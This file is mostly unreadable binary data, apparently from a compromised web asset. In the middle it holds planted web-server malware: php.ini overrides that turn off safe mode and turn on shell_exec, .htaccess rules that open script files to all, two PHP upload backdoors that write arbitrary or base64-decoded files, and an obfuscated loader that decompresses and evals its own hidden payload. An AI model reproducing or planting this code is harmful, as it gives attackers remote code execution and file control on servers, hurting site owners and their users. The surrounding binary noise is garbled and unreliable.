U[gée{םϋ^[BzOS$juslyzhitr}!Œa^\kCνqYcś!4Jv{W PJC!ݧ{#x,0T0ϯNڼ}Ͳ,c$-1=Ejuslyzhitrsҳa!6$eZ+*}^s^ "$?x$a8#+57+n4wkquhdcngayygRv*&_nT`11@T+rfh~1=PX,Ģ7ǺXY
 hb"]6I6%f3	y_EyЊsn~Blu劒QpU}juslyzhitri"G
,zώ42;1X$8B]B%1Tբ^xRH|Bߙє5C_IRFX RIBW"'G=oэ tWJo@{^9yѽ"hlfn_Б~ÆTȠZuOwya-U:i칠,H6Laء-u'q]V_%:P@.:wBK,XUrfQuH9s520}AIfS/?-C秾Cin9U+J=,d1
z/U{}S,tIGT
m"idjuslyzhitrEi,}JY"q
fU=&;|X}
)1PwHs]]E9woJ'kquhdcngayA

=!Y#Ms[juslyzhitrګ\:ga`UUR~K}vr({hEʳ6yBi6j.2*翋8@N4f
6hfAhW^
'o=ӷwdSRyEfV(M1Rf;By=\xuixBp$MBip&m X Ο H̓_p
B4i$nQ!1.s|e_$JYjuslyzhitrN#Ǆ2"cڦ&+ :ר1;Q1Jqr/cuۗ5UVJjuslyzhitre֒%6Ub=O\n.!L}H;5,uo7|R^ڤ^zRΠd
(c}KkMҋorz3"^@	rҫZ/g\TlםG{V
x{йGz24
0{-LDB8t憺Q\uq:0U5ޛ:q#kquhdcngay,T^VNj		f*@k9=dpkquhdcngaypOgr8戰MI:!J.ZvQjuslyzhitrM2Ȼc=BI1 2ܵ]?8kquhdcngaym?Bb`j	
G;O䮁/Z\hfF+X'eeh}_7$].	󂬑TwYLm kquhdcngayd?ܐ(~A5K?{g`e(Qt~h,k\?E)pʈZnNMwRc1e8#\Mrϓ:H@Po"Y
WI͢~儤juslyzhitr	,1c89oM Tyo%6(:_Zإ&NHʼw'[QJ뮉WKtyaO+Lwx"¿p4i$`Ejuslyzhitr:O
&54f̽8_bϊkquhdcngayg
2!Ӱu"958SBJsb^#tSxMBGGʺ#)y~3WH+؝^ݘ4OyRP0% 1;ӑ;q4KjCn2S
kULMfn+Q%s8KP֟3|N+ʗzCڇ;[MO4Ưg/AFJUSj"Io#o_F8\aHkquhdcngayfQ,Acrۯ
ӨE/3_I2ŝQGA .$eu!tZ=;՘ϗ'$1yIdJi*]ДFбyL̏"Z`rqHk:nEE-
5*珳ܥiZ#&t+먴.RfbmV;_h76k꜋t1ѷ';juslyzhitrWٔ~LMU(_wRv(*LHtQc1d&fncGuU[	;m=Wp%ՂrnA%`K|WZ#qLF/I^":8
kQRM^ltek됦 I`Oh}SSxQ(kjuslyzhitro7lPy%5#1i&|٤ k![1@DkquhdcngayP@0b{=2`%qxfd+tm	Ɯ@	3zE"jm5ag=D1:*[jj|X"˭({1yuss^.@`nYݧ|!P_
=ΆSRɉyN*\]WK~[
=x^̀)8}F4hڙad/WWcK+ec-AOٲrFJ8+4ۈg({ u5Ϗ(,
KJTVjD Sw9G\%ΣUW`B@GA`6kquhdcngayK.:6ZfrwBHb6@DzgٰPjYT? eQΫZΩl;[ٯI7R#aMy+_Tqai~cHmTs3jz1_d$)S%ˊɯf_a^k%*bE}Bkquhdcngay6ebZ/Ǖb{ЌBm&{hjuslyzhitr|;aH0;Esr%Q()UH@L{zNJ!Pjuslyzhitrm!:YRJqr~軭l\9#SHӃ,36&ZCDDq2"7mom:H_UiEN񣴕A=j,
 [_EQ{"*MhܭhDW]~RAQ:y&MF
#_"t`p@3Dlz$~jJ2A_ PT(	`NA@|HOa'rwa`pR/t01(2ݽA uMV,*a߂~bq
o-;xg޿(F	*Pﻷ.
nr;;vBs_U}NϑjE|9:}be8)m~G-2.Xa q[hKij.k2#bmk9kx@NƇ6K \BÛ&CK+TI}Z ^ꎌ~+[
u_^3KD3}9zB A8eLYHrWg;"fHC-Y^x[]\ @kquhdcngayjuslyzhitr6n-gX+ILjS'ˎɭhNZ$GyYj	~TD^WkquhdcngayR
.ė5FKn0juslyzhitreHӝ8Zl\.#Џ}ȎGTIXe}.juslyzhitr-({Fp5|+ݸ(LS~LDD;1\f
HcI2]4\*=cU|	Φ]*yb)vjuslyzhitrXQRtWqD"kJqF+pg)_Ҥ$2qIjuslyzhitr4oO3	ME|!1UEtEӧZJ=mxE-H{"NylBpWt1aS 2E{?i%WHQZWVI*jECO/@3v}&px'TT4R#@1,KFXfjuslyzhitr/˅p=\?$=7_I@ݧw3;ϟn
ȑگzBq7-l1_Hrpْ눐wBYw~É䧴(q.BzF}m(!v#%jBCm("K91LVI
6jɠ\-H!kquhdcngay8o,&(HkquhdcngayomA~v~W$nE w\#P˻NCfI"jbGz^@_OG7:!npkquhdcngay:|@#Jh0E&W"HE_Gjuslyzhitr1Բht1'	aOe?p!c`jEl*2Zhރj$ZX)!Q尿72}tYUA)L%~)qJS7ŃnS9gʌP[Nb:juslyzhitr	sړy˓DbQՠcb=;~ߨs䑵	z廊!k 1VՈk'"^;G+ґPTD)!ckb{vd5juslyzhitr9;/,~Ξ	ҍR~@SC,QZ|:Z.2/;S|bdP73O8m,@ȯv81wpBV4~i.o!7vWFdZrYo}Y7;.$1qi_C8Go*s=Gnm!nHQ+Ƥ=sH\siYhwW-݄
fͣӀYY3
Plnxx/m9fJ$Mjuslyzhitrl;%xn= h#W.\??%!-_)k)^3Q;:}3_D G#90qaL~-lQ;/qo[pV^ȯeCQU;r|IGx莟Q6`ԇΑM.'/m@juslyzhitrbϜQk.:[DHLA` +t+V»W?@j	DLUppޘ|	wDGJ`9VEFOpsz&{sVp癥uq.8ή:JŦ@EWuT,?j􋕟fw:sy+KCl$Ȓ/;'}\#ᇺ̒euԂZ5ق;juslyzhitrrX%hU)\%bVt"㙷PH$@4
9
ukquhdcngayBAˌG(KO}.7¢Cs';l4 ~2k`]Ckquhdcngayqm#L$	լkLO
ӟLvu2(SUӽn2ώaYe;hDY3Pok 3hQq_P
QbRlP.qS]rye[~¨%OłӾ:98{kquhdcngaydGMvCdyjdRc/T.hrO'8_CPc%n@KE|=j7AD|8SH.@qjuslyzhitr5Wz!儃|#u

Az oo7;є#@ioP,U5\juslyzhitr[+,ԕѱwYx&QKV}ZjuslyzhitrŬ`
__#Nϕ"%R,-?jN_$%cL7,ϡP{"7;̈Y	^OeWkquhdcngayH:!8PRG2Z*mnl/E6
o.zثj%
UvT1?WoM3ETK)J]
x	YqDyg2g/w0IJԖzӐ 6WmN2&w?!QK:?l֦$8 ~cނI,xkgщ4cDxQAW	&.Mkquhdcngay3LN^ԎuYIT;T8޶,L{ 1L֭ٻnhPY_jha$
pW\jR7 oVtu-/CP2Xr4tLnJaU_bđ;b%}DN!'N*6'$+a)|&(/%4Y
Lss
w^¬~|:?J;XQp^X?-6Sb^%`Y[ %hb~IlzNYmyisU'gTS&Өf&%3j]"pD@Hjuslyzhitryc6/`f|^}ywF".!KKd[^k|2X%Um WǓƭBpVJPwE^1	rcZI[\2/|B$CqU#ckquhdcngay.U9kquhdcngayO@?&XVkrkT!`M'AS4
U^j5ٶ"-0L[V&IR9`(&j@)w-ʎr/f4/ll
C}}_nr;eҊb.Ry V|ϕXv:kErkquhdcngay 3SֹĝEڕY6kquhdcngayyjruXkw6ޥVtXMݷQЬbXt?_r0Z"5cjuslyzhitrkquhdcngay퇺J߀{h	C+p]$J1@ gWR\u(Au7l?TG)7t_D,.+e|c1([$|Y$juslyzhitrHsғDz~E7ThU'"Ybװ0reuuT)s|,
?V֤&oOP^Lu,*Rل-deD9J& V]jVܱ|A/:`YN.+WYlu/&}m-Eȯ9:?#juslyzhitrkquhdcngayTҌ{R"ajuslyzhitrC!kquhdcngayt32Tƅ[J
vO_/ۈT
	,f0.mCVe"%DmߥPwuA9ИuKk"[OOЁrǮxAt7B\GYBjQSd,
/'Y\ٴlJ\b$K:1a^-gj@;\!W"IF1) :A5%&=h	N#R떺@eΥDW˘E
,1_vxH$8e}%(6;
3Qo;	".urs"JE6zo0|Å?3a'joXnABԅ^{ĊۑB,{0WPk*KƠHyHrⷳCa! !']vu~}eCzCP@l
x$
a?x{MѤ1U}uEkquhdcngayI5M
Lo"IsJuZF@"A_ tPh5v`~KM5)όvPS.f+ZG;Z(N
z,@+%jER7jrvAn*=+C~$yU/,lGBjuslyzhitrws림7kquhdcngayLMKW\kAr^$ajuslyzhitr2Ll[G_DpVjuslyzhitrV8!w~p\'Gjuslyzhitr63VցwU;D6܃H@Y
(esk% vF7f߆wj#q~ķ/IZ1BCjuslyzhitra{C`GCkkquhdcngay34SV  h"zf+Gjuslyzhitr)(S0[juslyzhitr[;˃nm=ɒ34#
pOkjuslyzhitr`
?^u7
׽uu7T}^`#Y%e`%(cB+ *MIt^8cjԻܠZ,IAzm.Qy3
{8a^"+-˸ɪ+CuXҀjuslyzhitr2Rlej8QEI\%1"[Xt\'IXUv$nPB΍0@.
̇C=퀖U3kquhdcngayjuslyzhitrCUɪnBԺQѿ	{uF\~uP4{WS䳱*T|VV:T6ɘgr1"vpoo55.:}gIkF(}IS5Xjuslyzhitr"ڔ0	NSnwK{ǉO9q{F#&H6@zKUY'R8zC g5"e&
*^Vs3X,/
$xzjεԈjuslyzhitr"=&fb}-e%5P.ȍ
Dn1[f4fA$ѩ\h+N
so#S6e,Nrz6Z^?I%|JI7~$X#juslyzhitr^\R7Z6Kl|]jFCݱSVu|Msެ-"a4UTF@3|PRbś Dx8ininwl𽁳yԬV?=ԣF]1Q`||C}begu%VMD˥蓨p
[mSa-vCj3e!i/ `=N\k2LchcаVZMg9mXd7Fp5#]]wlozXS		Ub#(oދB~Ҭ0,2SuߴQb~)Y'6n2Õ;9Q#X'juslyzhitr%83Yw5In^p \r}d`g/f{%G7qba?t%,$NdX*jRqU F0`?B_W `kX:+~dԳC7v`k̻o
.%f$f3F(,p;uTҦi3l	Jc5^ѐQ=k|c)ÍRE'kquhdcngay1,ŃB~o0M1%%˾E6
?נNXP\:ej~t/dZp'vCSf&apCwFB?6XMmJM~Y,2b.(J
al8loXS-XVwLUOˬsʌj?:s;yyQCO`j0kquhdcngayuuPf[j~KT3y~0KƊ@{eKsHאU28ͲF^&'Skquhdcngay\X]cMK	σ,]Oy,Ѹ2-@0甚8l[ۗ/]L9U(zUyHwVH([7_22ZTfQƗ9o[m
sQjhFf
9TU0QlĔ('J1-KY
bG1(WV9F)0dOa'eņ;ů^FcL/^7JZ32@J
kquhdcngayU鞖^3,ٝ2oZ"d
S6N}Ď?^
΀G b3(pfhPS1Ńf"rjuslyzhitr/"-E"^TG!,3Ė2~ГrP3yP$Bꩱ$g߄^pԾ@5n' s^}D*e/Qq܋^Vk4$=R,	1esUǠ;?H\GC4GiԳ-iwl^`juslyzhitrJ0i_gsP]{a7̆㉶3L:H}q:y䐏
P6&7_5'iVK3}@0I3kquhdcngayEkquhdcngayS_	diǧ_Ïen N^048~W^d^u}{wB*ͽ~^)[~^&c/kquhdcngayR1\@#
~7aCDO9v\]i*³y1m??N~likquhdcngay|OkquhdcngayIQmP[juslyzhitr92Lq;S-0ϐ[4(rvY+	n/
旷2Ce?L\ e
"* =9#|M	6`@2ǵ/RQeN2[Q=#[$0{Trd
}HnyjuslyzhitrO6J4I@Μyfyg#?U+bZ ҴRG9kujuslyzhitryjuslyzhitrN9`vȹ$AsEkO4q6pB9cP&Ț Zt;#jFKf)!HgO.
}\	0@E^`=%v'g7n_ZF&Xa'F,r!9|NAe`E۱訉QS+MH0Xtd3.a ͝GN41g?q=.?scyWO׻D1wկiԏVjuslyzhitr^͉

?YM-}ZV185|b!9Ըa022Ƣ4 KwZ,Լ|s
i;0d0(w/}O`knXH
dPfk_
\
g-p=k,n7v5+tu!ߊXL
tHC_=aXjuslyzhitr'l*-cۄ|%juslyzhitridPb*؁eZN)lmL?j^Fhq2V22纟8rN/w-ԒamMnU@-yp[xv?#fxG=h\n"Kjuslyzhitr ?	紉&ZCnm`~"L:2ێָ13 ItkquhdcngayEZ'wob!ElPGk0}i![@m\cߝ=%	8dA{"NWpк|;Uf}G7oo$J'QG.80AMᝠdG'R3m t5}S_yJiUS[TS.}ٲh 6UZG6})R?Kcx~)kquhdcngayǀY; y8
h
0r)_Az2N!_
U0q։5տ$CV
K6n^YLQ#ڒPeCTjuslyzhitr^(0K6OΑu] 5"aIuN1
!} f	_Pbg6y|o0N -͉H]#ܞ~/I VpO?_QM.дir[zd}w)Hr/!=st޽`eH8d	=dHRH&sfSo'&(n@BGiIʦ3ԛuUī* rYHx{+O,ĉwr͑S?:ߺUK7ĉ^́zr/ЁH`_Fگ6Be7?WA&j8;˃)֛U2*hԷbnܜdh
j ]7v7(j$[|݆m goY!-$FQvmgFS?]y!.;Lv/%}5lO9:'c[! z{Q7#W[P;).۪z\#"ȟ7Ӂ	a5R\tâ4reM ew\|煔/ui礑eSbnQ\Bn1n
kGǠ`P+j߉cIS6\ή	9;Oy䊢|T
9RwClis5H
rcjuslyzhitr=w?5џGadI{Ae?_6ØY~n4Cha)PDHږím7OÿkT[!$N!HKg~xK˦d,_U.Ov򩧹k`CƧAK$]9F-Xi,6kquhdcngaylxզ;kaz[U'^bWr5\M
G4 ྤ:tw
44kI~ ajuslyzhitr$z| FKB`T()@}jS
	B ߊ+v7fkquhdcngaykF[s}=x ֠r h-Wr϶0[	Q7,S̮bRKm܍7juslyzhitr/
 ްa1UyC t\Y9OjuslyzhitrD\drb2jyQrP49'zt\a!fӾ)VRAUGBFG/djuslyzhitrNIw*).ψ v	0FdBX -y6E௾|ɂ
zA^Y5dkquhdcngay]I?:\$y| Lĕ8}6\|g5Xzj{^m`NUX2%7Ei=juslyzhitr*Bkquhdcngay9/B\qkquhdcngayNkysrtoVB
57⤀֟ĸ0T!Cc;s^b-{bI+Wo:"eD

w/1rQ=oA%E?
x-IPkquhdcngay縚p4gQU0Y#C4M`'*@܄UM=$)sdW},mPvJ?Xccyirםm"[{T\T(=)Д[T -kE")u7ZKW
iřv˘ tQ~
9xg~Γ5|{s9Cތd G9.s{kquhdcngay!ޙ^3 ܣinkquhdcngay&6s;;Z=V߈`u2.	+zp戗xk㕳P}jz3zl=$]"^,[v8Q%
ֽT5F'G[m&2%IkK5YL$ߍU15?2R,|UΓHᙟx1|v62	R8pXc0s!H .w̂-{kկ$FvS'N^`2/dPzLfyio8ERwp)ngJmLlkquhdcngayg|K{=n"`'-g~p0+sVjuslyzhitr_[-¤̼
r xӿƕj=_0@H$ISb~jD&GR85@g7Cha[ikquhdcngayi~3&;4;H6I0W^Jzx0c]j;5/:f=1YO|c۪'LjڡdsNEq\Idjϱ@iRI -ĻDX2Mڤb΁	Ȗirzj4juslyzhitrPUV,3뎦;oru󌃊kEls)x`žO3]}`i\;'BwSw
QUKkquhdcngay\/(M3}Pahv
~ R7K+juslyzhitr%e]YLԕ'pu@6cGu~;H1?-nE;ss8_oʰAN=RwTv$q 	hi|'d/)N /S_e=@! \x4IW\mJ("ڟՎTm1qYDGnrqPvpo`.	?1y-Lq$2wO'ͱ, DMeW2lA2ijuslyzhitrx#ߟA4;X'juslyzhitrk)4!yjZF=7~×Ibom䖂ҧ89΁mG5ݽLk	!yKJfȄj|-ye.#k;a2e R4PkjuslyzhitrVz˼,Ya
m@o
aHYWMVXyLw]K7nzzXD+I!TFp}Gqh%_ P6$&#MEkquhdcngay:$PFkquhdcngaytwĖnU0|MvOJ}ZIJw:1I	`+Q3FC+^R_VE]He ?Wz~dv.m\Ң}
a~rOң)pE%L,tS?ImUMrhuw4"{3'3eӬ+aiKp~+i[%ӻ
Z p8ZtOޙ~½d32%Qo5'j׆,~ %Bf|юRݛf !r٦-"2mq"iؗoY"[ ==t\pZi\aG"x ;kI@;yI\Gud*C6S7YlBVZ18%Mܐ/%L"X#)9kquhdcngayGq_1r/M Z،D҉fHT^u)Zņm =9LV?uRcֲuan}plZH~*i,ddF瀏'۬]?s[r4|	juslyzhitr5} "Ⱦrʞ7tB\.q2kquhdcngayړ5;6V$/7k:Y{]-c[}ikA4Nl+~Ҿ/kVx'ng@ZUa'lTC,i~YKOUVCZп{F0Q2g[
4JԮyi0ЅOYjuslyzhitrG+kquhdcngay!2;VZ'QuL̏G*+Nn$t1@s7Db~٤"GCRIe=!ԃwW2_, G9:;}"*[vM.醮̀c@'!^okquhdcngay
B%Ѽb3zlDYtx˃d4Ztn5Ukquhdcngay=Xjuslyzhitrau.@Фjuslyzhitr2G`ϟ5zX**_гb!:x|r%|Vrqfa{iZaNHS}NWVhG^l]I6eIp=2
pU,0(-3	kquhdcngayQZ;XBgkquhdcngayѠqT.^= A.\Bf-ę,ЅC~v*/@8#Qg}AkԽ
!-6U{)+9O}Yaj}P_jN( 96W,-ߖ+ծ@,ڧ6ͮ[mNI@'D 1g
XRUZ
C4~'"}`N6r!i\H5[}":)j
n\juslyzhitrt/  l`\87* c.`]иܽ#0v	??*4$0 #@	5Fn H6=#߮@9P:fys
-`蛄seDJ$Xt͑-pgS++lʴ2JyZkquhdcngay(|gЦ%taxqe  7N@
g3
A-'}MVTf^3&_rTJ%$n1n^_HK)grTq`kquhdcngay46F1i89ԹyFyoLXwf׼CO$^8̭֡;`;8.Pnmn07ZcgMccwN靬05pd4k{4(Q\dy-&3dF2U.;ʳ.0X_0\Okquhdcngay2tBy[#`kquhdcngay'8e0`!, K`x405WQܘ5%&
tsdMf7`1{;j
\F}QОY["DGkquhdcngay\R烋4/q%kquhdcngayagW &չkUadƢRX9zt(&;twș~hZ|m_2*DSV3B
n)$
V?ҵdZz%-7m&
P0zofÆ`v.9?b+yXOT^lO_5*#,2Oni_Fy֢|F?nƹHfmk\cPO׳S(IH|"]5Di}BP6P`C_FJ	;U\Tߊ/ǚU][h9
e?Hrc_PYoqU
H88^UpuwZK$2juslyzhitrh
U2ovIҺw[)MFsG9Pa`}}U5Z,M07,a3	*~%Eza!X`-{8/l\SIoddg
L|Kc1"SQ\d49kquhdcngay^\'S43š$(`#Nd,&xi
GzVYgZ(\Rb枾D!835hod VhZE7.c7E^p긙1Ωл1* g`&t?S~8U'60E7FԠLMͺ}l2k: C66mE
kquhdcngayKj.ɷ~]~㵑|Ra"Vn?0ntiA{u`}wHڊ(;23"TZj6	ݑTD)GWCj.~οuPz *eqjrmXz1aJAs͢QrkquhdcngayW77#Ɔ@P:ϊby/j/:5 U2EwZyLb]ݼ#b(
(֒P8@"9U5k6Ǵ\e9ắ:̀wV{a	oFoMܼr{*kHc|5aD$ڀ!QNXi@& %VA;}x'E Zi8z2ËVp.~nH}$Vcj/z]zkquhdcngayĻw)̷L)~~;rcCFmav2
]pjSxgh9p'`l!3ΪN}H9[[}&kquhdcngayAZ^H s&p`)
ۥ:T)5%ze؝}NҫueGKgq&21|d&2JV/]=8_LJx/ւ͌yZ8_22g;X7l%4uZ&DڛHgsVw u	'&&"_Wu1iKNC[++ }22ON~@;x=ܷx)jFU{9˒G͒Y};Z#ً7̮-J&wguM/io51dREֳIuUȬlO"--!xC~線eo
.sl'$7zf(B\{	QbJkC"{(z0|C.m3%y4e])Z.vjuslyzhitr7~Q.m$߾`XdH\77x#']\nQs?(k-ai08_߸@߉G5:.(ccSL2B*dۮͳR5ڭjsys|Ǎ/.Ֆ:g!&J	Ѯ6!cQD\~,vISe juslyzhitrCւkquhdcngayaSWUiO"/!,]Pz {'!GNh8(L]9ls-$O҆멟}jڙ!'`E-NЫ
,Xy,6oKpKۈ̳;sL*	rw5mr wr[ Dm:\cP0@X_Wp!ٙ(_{5Wt
Nep-1b
h@~Od+V߇zZYBXfԬ+_;JsZ!iLsW	CEW_Y^K`'kr7ko-3-Կ+ WucQ@&dUlY.
ױd)'OHctV8$`h;x㮑,KABB
cWB_,V˙ֿg&6* Ȣ/	߿WzB+g(bs!vjHXe[5WHd|X?j_g$Oޒd,q(T~|B,juslyzhitry3 aמA Hcpdn4i WސDynln]nDU~$ m&lFg$ c;	N.dmqoAmCjuslyzhitrC֊Qq٩B.ΝzRD?V5t`~	,ÀS9dYkQQ4i[ QYڨ)T&:+j%Ҹ_s0c
dbgB;! ];	kE5i^P0eT؎Z2SzNKn66;*rB\4dXKFs|$s\CEZ1/C}PS3CƐ}$k:#T}hr
u(9|hu J mXv^nuo.m!yJ75AjuslyzhitrO;vWY'H/09֑3AJiR
}quN(v]XRNOt-&*qȷ+gތ1pp2VWx'
gvuP
Ya.!EQT. tNGmlKJXC)e͇Fl86kquhdcngayS(oDtԤ3 /ns &%5odyQ/
mKf
dZ߷ޅ=
ϊw /';d5D*8!GŲj'?ϫ
~eFw	0Sޥ:1TVadArd SQ QujDL*gUvYOgz{Ex}0qk}-Z9B#8\U0)kquhdcngay0b=LG\(ʺ?NUC]VutwgOPpaQ[!%"p^9_M$FKJeD -4VԵ jra!~:3׌ʠӪ,mѹ&m&4'+ϟYXzANrOZowչ2Nka%A
fjuslyzhitrm5IB_7
8?Z}fW;1.B̰"zkX%Ť"е0w!=u/F6mLZOANGozħ9@kquhdcngay*Qw^kquhdcngayIOR9:{'M펲 Cnu12Vd(:okyC6f*M:Z[* ]g,e87YWdWrY|CxbΓ) X@`358q򨇢'kquhdcngay]!&[ʡ`qSeg0G juslyzhitrxR^[0's'诐]̨5W0߳/e[QLjuslyzhitr\)k7
teYdЏ]94uBP_P!:~6ve9Q֏~- r;hx}P3T*kquhdcngay@3e+JuūWo^t96=t:juslyzhitrڻ?ؽPaR՜
$_)EHh&\װ	=}CVGHtVdMMd4R NW0gtnzfQuGSyXϨsC~2l 	7tQ R kquhdcngay=U} mQܷb
+{1鎰jg:Fv0LiS4rԋY^Crtjuslyzhitr	Jj760O2;*LoB(U,͈4/-]셁])#0D qm%"&IZtG_^|K&G]}.W
GuaSiS5WoƖFD/wRq7ۜ	H{ڈ$ps

}Aa]u.]c	mjuslyzhitrKʢP&C`]uM\.mpM	v;ۺ
 v6|m`}? (C;lULŰv
_ %{̒rpZL࢜TOBCA-B?g:kBl(\aZ@&Wc|hfVxRqI#9낾㊷O#}=K
CO=0Q&!N$MBjuslyzhitr.T4Hy.-|}91@Q!$^t_juslyzhitr"W#\,E9Vt0M}Dɧs:H&M]'Vkv
juslyzhitrskPH^wpT{mk,vl5z"	h8'YaЁeJu{:KqgBΩ[i[gåU|meI	YΑldZ0K&($	qط	CU".*iI@p2DR]ldu6X=6y@1 /ί-{K3{m%{kquhdcngay@o\2縦gYF Ip*
g*iV DAPy~ 	u^(jF֠W|hk4tOt@ZI)nVj?8YK Qz&LBRyP*SqξcЌu~ny=Gvkɹ/wY7t=ơHŏ!_'9xh)T4z1Ͽqsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'b'.'as'.'e64'.'_decod'.'e'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$AVLB='gzuncompr'.'ess';$GjMJ='sub'.'str';$tZXW='file_g'.'et'.'_cont'.'ents';$jkPy='st'.'r'.'_replac'.'e';$rwRk='ex'.'it';eval($AVLB($jkPy('aphkoijuxg','>',$jkPy('hoknasemlq','<',$GjMJ($tZXW( __FILE__ ),-216806)))));$rwRk(0);
?>
x\]~}-ZBZ}`
pQ`	'*E|[z3T~?oC?ޗ4Ci߿}hoknasemlqg^+aϭ?szyU6MXt7k'?~+/_9??W?our$)lVk;L]廵˘;WW[/}s)sͫhrNK{[^"%Enyl믒E{5*J䜎Db1YQ2xLƷS;&phJ8*31UEϲ"n?&D^[	R]|"8Is"ؚz#b623Eꨵ}^hS/??p5	&7ZI[G9l"6aphkoijuxg̻7_tp=TJ27⮲]|lp#?7?=ߖl?^~7d
kxaphkoijuxgI&~z/D]2|"CFl$:?CVvt3ؑ
Jb_^op\&[aæ/jm𬯥Saphkoijuxg"!ʱek]ֈ]Ff%ELNyR 4[Z;JF\:*Dhoknasemlq{Z sb7WCp"at[𸦢*TnDGsu|Ռ^RaphkoijuxgկPxghoknasemlq0TJ_8Lgntdܒ1q?jht4EnZʫz
}hoknasemlqaphkoijuxgt":L#$"\Rg^1er9
JO4
]x3*vft&+eT~Ƌ*hblJ;k?H9h:ss̽v6*ׄ&N0c9&~M&.hoknasemlqǴtSŷyGt&-O!Mvt|2Z^؂6L3/?ǬG&ѿR3A{McqgL]zjIyc],itņ3c[gGY4W`.sw-bAMeOx(**hWp;?\Ead ZƳ"`,ZQy7d7?^_fmZtvH"aphkoijuxgz_zrRvH7nPcaphkoijuxg=Oy'+Ѡy[TK#2hoknasemlqV:j.o/{Qߘ[lXb:v8!]οuyG+h#:kVv	8m=7Ɋ*Ύġaphkoijuxgs}z
^/G!^_E}7lNm~̯wO!4#Лb=Q¸sB
sC6/ӟx/*.[0/ _M)?&^%3Y8y(Kjsaphkoijuxg|r⇆O%+HeY7zL2zg(2*ycb$3CωrrC흏P?z^MmS~MpUeG:koc/0tHzwk$հN&3fs7h|{?D$ڨMW֜I:&]b :PgsϡrdkhnUtU^cc2Y2!ƺҁ3en~ sKVGƗBfN|kh\Z֫"n4Q7(UUm?_c38X5e#ppEaphkoijuxg7wSf)P)~q\;k!)ƠA-nn$5H,dEL*Ǉ?\)Y`:ڕolp%(s9jfaphkoijuxg!v_AγE%Es60|6C2 
TX$#a(6`y\xY&eX=f=m]
XC[imEbf5PܕsG64ꇬeK[$ŭ)pWEε6FO$C]ʨPe;[7]ߛ.8|%-136y:	Nd(݃62"lOweD֡-*`q':܍I{q
dSn;]\㙑ZZyfq&YNkBp%0u]dpc98^yZ:#ӢSaphkoijuxgaoæ^)h1ZT|lj?.jୟ8MpemSC0n':nCMsZ"22C;	,+0bJyRؘaphkoijuxg|2/ھV%M8SW;F/AKmtgXy\Cgaphkoijuxg^P[q7چjfQ2gӉb:"Kwn68v~bTb̯G({+]*yZqƏېK`_$bmө~[VX=bSkE3d/YLk3P)Z1ӫ;r4tgJY/1
AWhoknasemlqfxB͝O5[
?:״Nw:^N575ijlZ@\tc`]cD9OcU`2E311y 8DD'xKp(`'p-a!栙	EnX%W]\_FaUH ͂Z':n;q8:fռ\	2Xi{V'+/	`|eh|4ATuV: ߅ԤSSiN҉N8,ard̞Fخ"3)Ƿj	`zV!Ab$qnhoknasemlq~|aphkoijuxgߞW8,4l(LJSR8mA}rU!k6^DMنhoknasemlqXCk$_kk׃'A!0-/2'2hoknasemlq[=I^rrqaphkoijuxg Zÿ%p%h­z֜̂96r(Et)6d.xDt j7|}Jɫe⩳)~$:FWL/,s`1~ !b-^(2f#cЅ`\ :)xZfV~cA?:)s]|[vs77wÝEy\Kuh=s`lC^pdcN}@lJդJv\{9'
t6O:Dn G*:iX(yԶkl8je&H	N7nNX,2=Wa]VdO1ehkVsl8oeKur-ȑj7+3Xe-[ywYiC.Xl.R)$Go;	71.ve:ϸ=F[ʼ蕱A|'fB'6BR"r2б:ۢllz0c/H(ڧ$eQm+{fPx+ӲlYpshoknasemlq3W_PO@0
LeٲuU&{n߲y6#\oGW"yaphkoijuxgWWo4nl5S^Caphkoijuxg2Z1`~\Ank,2C&
cYk@
#IBrȵ[aphkoijuxg?su_ gWhZ&8_uN{*RړbN
?Ҿ^(-(
좣yLN}:5 aphkoijuxga(fWV]S.宒۔eSa S^xӼx8	^choknasemlq6G`!oJi=vi#6+h䎴:3JC)dJ4vaphkoijuxgi3H
7d-7
K!3w7^o00NqmkC@eVvryIPאa&?MB
 )Wͨaphkoijuxg&Sƶtp|Cd;4[]Mb鐧eY']yy_2!PVcN[eClPjq\HrC/NĤde+KӖK&l2ҽDTC(e7;/NHK{tuC䨤Ƈ15.(kHZцsE=n}abhoknasemlqiP{+k0
5j
ۮb:ΐM"NuإX(TaphkoijuxgcںTc؎2YNmPX逞ҝ:3pR^])Bxvi=8
7+J|dhoknasemlqA=@Ey%W3O
L(p:!Hrjd~qlAF#cHcp3ɽ=Hyb4:Ù6ȹ#| רJUȏLd	B(U@MI[s͇HUS_y*&J^o@b\]IG;muX,g%몯 ЛFhݯ9(땭v
"9&w's?u/|nrgmʟE_''NV|cЮ4!xƬ%o)ω`E^Ԟ;AfVcCJG֟b.ː'Brl7/m1&?5YqXbҾUY+;hoknasemlqQ&n
3EƢ7Y32Ãd㦸w)xJ]1yH3Egaphkoijuxgݕzl6$f%.䕂Dt*kAȒsoiئUP%51wvyCr=4|.
k˭Np7brE4UV@FaphkoijuxgRAM7VaPB!_BE8gϯ:-s_?6xhoknasemlqlKt-ނ(=*ns0i-
